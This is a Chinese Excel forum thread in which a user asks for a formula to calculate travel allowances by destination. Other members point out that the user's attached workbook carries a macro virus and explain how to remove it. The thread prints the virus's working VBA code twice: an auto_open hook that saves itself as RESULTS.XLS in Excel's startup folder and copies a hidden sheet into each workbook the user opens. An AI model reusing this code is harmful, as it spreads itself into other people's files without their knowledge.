Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 3305|回复: 14

[已解决]求助:根据出差目的地计算补助

[复制链接]
发表于 2010-1-5 20:12 | 显示全部楼层 |阅读模式

如题,请各朋友帮帮我,看如何根据出差目的地设置补助公式?

We3PSdLT.rar (7.01 KB, 下载次数: 0)

excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2010-1-5 20:15 | 显示全部楼层

楼主,这段代码可以去掉吗


Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

回复

使用道具 举报

发表于 2010-1-5 20:15 | 显示全部楼层
回复

使用道具 举报

发表于 2010-1-5 20:17 | 显示全部楼层

幸亏禁用了宏[em01]
回复

使用道具 举报

 楼主| 发表于 2010-1-5 20:23 | 显示全部楼层

我的电脑是中了宏病毒了,伤心中,不知怎样才能删除?,谢谢各位朋友的关注!

回复

使用道具 举报

 楼主| 发表于 2010-1-5 20:26 | 显示全部楼层

QUOTE:
以下是引用喜多多在2010-1-5 20:15:00的发言:

楼主,这段代码可以去掉吗


Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

全部可以去掉,只是我不知怎样操作呀!能教我吗?

回复

使用道具 举报

发表于 2010-1-5 20:30 | 显示全部楼层    本楼为最佳答案   

是这样吗,只要在B列中输入出差目的地,在C列中自动填上补助金额

qkOg8NZI.rar (9.87 KB, 下载次数: 0)

回复

使用道具 举报

 楼主| 发表于 2010-1-5 20:35 | 显示全部楼层

怎样才能看到这些代码?喜多多

回复

使用道具 举报

发表于 2010-1-5 20:36 | 显示全部楼层

QUOTE:
以下是引用梦夕在2010-1-5 20:23:00的发言:

我的电脑是中了宏病毒了,伤心中,不知怎样才能删除?,谢谢各位朋友的关注!

把  C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART  下的resut.xls删除。

回复

使用道具 举报

 楼主| 发表于 2010-1-5 20:42 | 显示全部楼层

QUOTE:
以下是引用老糊涂在2010-1-5 20:30:00的发言:

是这样吗,只要在B列中输入出差目的地,在C列中自动填上补助金额


哗!糊涂的公式一点也不糊涂哦!谢谢你!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-6-3 20:55 , Processed in 0.498829 second(s), 6 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表